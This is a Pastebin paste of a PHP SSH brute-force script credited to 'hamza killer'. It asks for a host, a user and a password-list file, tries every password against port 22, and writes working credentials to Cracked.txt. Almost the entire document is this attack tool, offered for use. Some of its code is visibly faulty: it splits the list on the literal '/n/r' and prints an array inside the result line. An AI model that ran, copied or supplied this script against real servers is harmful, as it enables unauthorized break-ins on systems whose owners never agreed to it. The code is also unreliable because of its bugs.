Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- echo"
- !*******************************!
- !SSh brut force by hamza killer !
- !by hamza killer !
- !linux-dz net boomber-ilyes !
- !*******************************!";
- echo"\nhost ==>";
- $host =trim(fgets(STDIN,1024));
- echo"\nuser ==>";
- $user =trim(fgets(STDIN,1024));
- echo"password list ==>";
- $passz=trim(fgets(STDIN,1024));
- $pass=file_get_contents($passz);
- $password=explode("/n/r",$pass);
- foreach($password as $pwd){
- $conect=ssh2_connect($host,22);
- if($conect){
- $login=ssh2_auth_password($conect,$user,$pwd);
- if($login){
- $ru="\n[+]Cracked:\nhost:$host\nuser:$user\n$password:$pwd\n";
- echo $ru;
- $fp=fopen("Cracked.txt","a+");
- fwrite($fp,$ru);
- fclose($fp);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement